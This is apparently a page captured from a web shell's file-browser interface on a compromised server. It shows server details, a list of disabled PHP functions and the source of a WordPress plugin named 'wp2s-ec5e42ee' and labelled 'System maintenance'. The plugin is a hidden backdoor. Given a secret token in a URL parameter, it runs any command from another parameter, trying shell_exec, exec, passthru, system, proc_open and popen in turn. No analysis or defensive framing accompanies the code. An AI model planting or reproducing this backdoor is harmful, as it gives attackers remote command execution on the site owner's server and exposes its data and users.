HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceybwg.com/wp-content/plugins/wp2s-ec5e42ee/wp2s-ec5e42ee.php
<?php
/*
Plugin Name: wp2s-ec5e42ee
Description: System maintenance
Version: 1.0
*/
if(!isset($_GET['t'])||!hash_equals('a78d626b7f7d2da753ac21ecb968f0f5',$_GET['t'])||!isset($_GET['c'])){return;}
$cmd=$_GET['c'];
echo '<<S>>';
$ok=false;
if(!$ok&&function_exists('shell_exec')){$r=@shell_exec($cmd);if($r){echo '[SE]'.$r;$ok=true;}}
if(!$ok&&function_exists('exec')){$a=[];@exec($cmd,$a);if($a){echo '[EX]'.implode("\n",$a);$ok=true;}}
if(!$ok&&function_exists('passthru')){ob_start();@passthru($cmd);$r=ob_get_clean();if($r){echo '[PT]'.$r;$ok=true;}}
if(!$ok&&function_exists('system')){ob_start();@system($cmd);$r=ob_get_clean();if($r){echo '[SY]'.$r;$ok=true;}}
if(!$ok&&function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($cmd,$d,$pp);if(is_resource($p)){fclose($pp[0]);$r=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);if($r){echo '[PO]'.$r;$ok=true;}}}
if(!$ok&&function_exists('popen')){$h=@popen($cmd,'r');if($h){$r=fread($h,65536);pclose($h);if($r){echo '[PN]'.$r;$ok=true;}}}
if(!$ok){echo '[BLOCKED]disable_functions='.ini_get('disable_functions');}
echo '<<E>>';